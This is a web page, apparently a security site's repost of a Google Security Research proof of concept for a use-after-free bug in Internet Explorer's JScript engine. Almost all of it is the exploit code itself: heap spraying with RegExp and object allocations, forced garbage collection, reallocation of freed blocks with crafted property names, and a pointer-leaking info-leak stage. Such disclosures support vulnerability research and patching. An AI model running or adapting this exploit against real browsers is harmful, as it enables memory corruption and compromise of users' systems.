Microsoft Windows - JScript RegExp.lastIndex Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Microsoft Windows - JScript RegExp.lastIndex Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2018-08-29

<meta http-equiv="X-UA-Compatible" content="IE=7"></meta>
<script language="Jscript.Encode">

var objects = [];
var regexps = [];
var magicIndex = 0;
var magicObject;
var allocationAddress;

function infoLeak() {
   // alert("in infoleak");
   // leak the "next" pointer from one of the NameList entries
   allocationAddress = regexps[magicIndex + 6].lastIndex / 4.9406564584124654E-324 - 0x560;
   prompt("allocationAddress", allocationAddress.toString(16));
}

// specially crafted property name that allows us to test for successful exploitation
// and figure out which object got reallocated over freed block
function getName4(index) {
return String.fromCharCode(0,0,0,0,0,0,0,0, 3,0,0,0, index,0,0,0, 0,0,0,0, 3,0,0,0, 0x1337,0,0,0, 0,0,0,0);
}

function exploit() {

// todo: trigger LFH for 0x970 allocation size, might make the exploit more reliable

alert('start');

// crafted property names
var name1 = Array(570).join('a'); // makes NameList allocation of exactly 0x970 bytes
var name2 = 'bbbbbbbbbbb'; // length chosen to allign the next item correctly
var name3 = String.fromCharCode(5); // 5 is the double var type, used to leak the "next" pointer

// allocate empty objects
for(var i=0; i<500; i++) {
    var o = {};
    objects[i] = o;
}

// allocate regexp objects
for(var i=0;i<10000;i++) {
    regexps[i] = new RegExp();
}

// allocate variables that aren't being tracked by GC
for(var i=0;i<10000;i++) {
    regexps[i].lastIndex = "aaaaa";
}

// trigger freeing of var blocks
CollectGarbage();

// allocate NameList blocks over freed allocations
for(var i=0; i<500; i++) {
    objects[i][name1] = 1;
}

// fill NameList blocks with other data useful for infolek stage
for(var i=0; i<500; i++) {
    objects[i][name2] = 1;
    objects[i][name3] = 1;
    objects[i][getName4(i)] = 1;
}

for(var i=0;i<10000;i++) {
    try {
      if(regexps[i].lastIndex == 0x1337) {
        alert("win");
        magicIndex = i;
        magicObject = objects[regexps[i+1].lastIndex];
        infoLeak();
        return;
      }
    } catch(e) { }
}

alert('failed');
}

exploit();

</script>

[